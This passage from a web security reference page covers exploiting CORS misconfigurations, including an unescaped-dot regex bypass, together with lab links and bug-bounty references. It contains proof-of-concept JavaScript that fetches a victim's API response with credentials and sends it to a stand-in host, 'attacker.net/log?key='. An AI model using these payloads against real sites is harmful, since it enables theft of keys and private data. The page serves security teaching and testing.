<a id="__codelineno-10-5" name="__codelineno-10-5" href="#__codelineno-10-5"></a><span class="nx">req</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
<a id="__codelineno-10-6" name="__codelineno-10-6" href="#__codelineno-10-6"></a>
<a id="__codelineno-10-7" name="__codelineno-10-7" href="#__codelineno-10-7"></a><span class="kd">function</span><span class="w"> </span><span class="nx">reqListener</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-10-8" name="__codelineno-10-8" href="#__codelineno-10-8"></a><span class="w">    </span><span class="nx">location</span><span class="o">=</span><span class="s1">&#39;//attacker.net/log?key=&#39;</span><span class="o">+</span><span class="k">this</span><span class="p">.</span><span class="nx">responseText</span><span class="p">;</span><span class="w"> </span>
<a id="__codelineno-10-9" name="__codelineno-10-9" href="#__codelineno-10-9"></a><span class="p">};</span>
</code></pre></div>
<h4 id="vulnerable-implementation-example-2">Vulnerable Implementation (Example 2)</h4>
<p>In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: <code>^api.example.com$</code> instead of <code>^api\.example.com$</code>. Thus, the dot can be replaced with any letter to gain access from a third-party domain.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a>GET /endpoint HTTP/1.1
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a>Host: api.example.com
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a>Origin: https://apiiexample.com
<a id="__codelineno-11-4" name="__codelineno-11-4" href="#__codelineno-11-4"></a>
<a id="__codelineno-11-5" name="__codelineno-11-5" href="#__codelineno-11-5"></a>HTTP/1.1 200 OK
<a id="__codelineno-11-6" name="__codelineno-11-6" href="#__codelineno-11-6"></a>Access-Control-Allow-Origin: https://apiiexample.com
<a id="__codelineno-11-7" name="__codelineno-11-7" href="#__codelineno-11-7"></a>Access-Control-Allow-Credentials: true 
<a id="__codelineno-11-8" name="__codelineno-11-8" href="#__codelineno-11-8"></a>
<a id="__codelineno-11-9" name="__codelineno-11-9" href="#__codelineno-11-9"></a>{&quot;[private API key]&quot;}
</code></pre></div>
<h4 id="proof-of-concept-example-2">Proof of concept (Example 2)</h4>
<p>This PoC requires the respective JS script to be hosted at <code>apiiexample.com</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="kd">var</span><span class="w"> </span><span class="nx">req</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">XMLHttpRequest</span><span class="p">();</span><span class="w"> </span>
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="nx">req</span><span class="p">.</span><span class="nx">onload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">reqListener</span><span class="p">;</span><span class="w"> </span>
<a id="__codelineno-12-3" name="__codelineno-12-3" href="#__codelineno-12-3"></a><span class="nx">req</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s1">&#39;get&#39;</span><span class="p">,</span><span class="s1">&#39;https://api.example.com/endpoint&#39;</span><span class="p">,</span><span class="kc">true</span><span class="p">);</span><span class="w"> </span>
<a id="__codelineno-12-4" name="__codelineno-12-4" href="#__codelineno-12-4"></a><span class="nx">req</span><span class="p">.</span><span class="nx">withCredentials</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<a id="__codelineno-12-5" name="__codelineno-12-5" href="#__codelineno-12-5"></a><span class="nx">req</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
<a id="__codelineno-12-6" name="__codelineno-12-6" href="#__codelineno-12-6"></a>
<a id="__codelineno-12-7" name="__codelineno-12-7" href="#__codelineno-12-7"></a><span class="kd">function</span><span class="w"> </span><span class="nx">reqListener</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-12-8" name="__codelineno-12-8" href="#__codelineno-12-8"></a><span class="w">    </span><span class="nx">location</span><span class="o">=</span><span class="s1">&#39;//attacker.net/log?key=&#39;</span><span class="o">+</span><span class="k">this</span><span class="p">.</span><span class="nx">responseText</span><span class="p">;</span><span class="w"> </span>
<a id="__codelineno-12-9" name="__codelineno-12-9" href="#__codelineno-12-9"></a><span class="p">};</span>
</code></pre></div>
<h2 id="labs">Labs</h2>
<ul>
<li><a href="https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack">PortSwigger - CORS vulnerability with basic origin reflection</a></li>
<li><a href="https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack">PortSwigger - CORS vulnerability with trusted null origin</a></li>
<li><a href="https://portswigger.net/web-security/cors/lab-breaking-https-attack">PortSwigger - CORS vulnerability with trusted insecure protocols</a></li>
<li><a href="https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack">PortSwigger - CORS vulnerability with internal network pivot attack</a></li>
</ul>
<h2 id="references">References</h2>
<ul>
<li><a href="https://hackerone.com/reports/470298">[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018</a></li>
<li><a href="https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/">Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018</a></li>
<li><a href="https://hackerone.com/reports/426147">CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018</a></li>
<li><a href="https://hackerone.com/reports/430249">CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018</a></li>
<li><a href="https://hackerone.com/reports/168574">CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016</a></li>
<li><a href="https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/">CORS Misconfigurations Explained - Detectify Blog - April 26, 2018</a></li>
<li><a href="https://portswigger.net/web-security/cors">Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019</a></li>
<li><a href="https://hackerone.com/reports/235200">Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017</a></li>
<li><a href="https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties">Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016</a></li>
<li><a href="https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/">Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016</a></li>
<li><a href="https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397">Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019</a></li>
</ul>







  
    
  
  


  <aside class="md-source-file">
    
      
  <span class="md-source-file__fact">
    <span class="md-icon" title="Last update">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg>
    </span>
    <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 28, 2024</span>
  </span>

    
    
    
    
  </aside>





                
  <div class="social-container">
    <b>Share this content</b>
    <div class="a2a_kit a2a_kit_size_32 a2a_default_style">
      <a class="a2a_dd" href="https://www.addtoany.com/share"></a>
      <a class="a2a_button_x"></a>
      <a class="a2a_button_telegram"></a>
      <a class="a2a_button_linkedin"></a>
      <a class="a2a_button_email"></a>
      <a class="a2a_button_microsoft_teams"></a>
    </div>
    <br>
    <script async src="https://static.addtoany.com/menu/page.js"></script>
    <script defer src="https://cloud.umami.is/script.js" data-website-id="82be5164-e1f3-4cb0-bd22-20e02086d3d4"></script>
  </div>

              </article>
            </div>
          
          
<script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script>
        </div>
        
          <button type="button" class="md-top md-icon" data-md-component="top" hidden>
  
  <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M13 20h-2V8l-5.5 5.5-1.42-1.42L12 4.16l7.92 7.92-1.42 1.42L13 8z"/></svg>
  Back to top
</button>
        
      </main>
      
        <footer class="md-footer">
  
  <div class="md-footer-meta md-typeset">
    <div class="md-footer-meta__inner md-grid">
      <div class="md-copyright">
  
  
    Made with
    <a href="https://squidfunk.github.io/mkdocs-material/" target="_blank" rel="noopener">
      Material for MkDocs
    </a>
  
</div>
      
    </div>
  </div>
</footer>
      
    </div>
    <div class="md-dialog" data-md-component="dialog">
      <div class="md-dialog__inner md-typeset"></div>
    </div>
    
    
    <script id="__config" type="application/json">{"base": "..", "features": ["content.code.copy", "content.action.edit", "content.action.view", "content.tooltips", "navigation.tracking", "navigation.top", "search.share", "search.suggest"], "search": "../assets/javascripts/workers/search.6ce7567c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script>
    
    
      <script src="../assets/javascripts/bundle.83f73b43.min.js"></script>
      
    
  </body>
</html>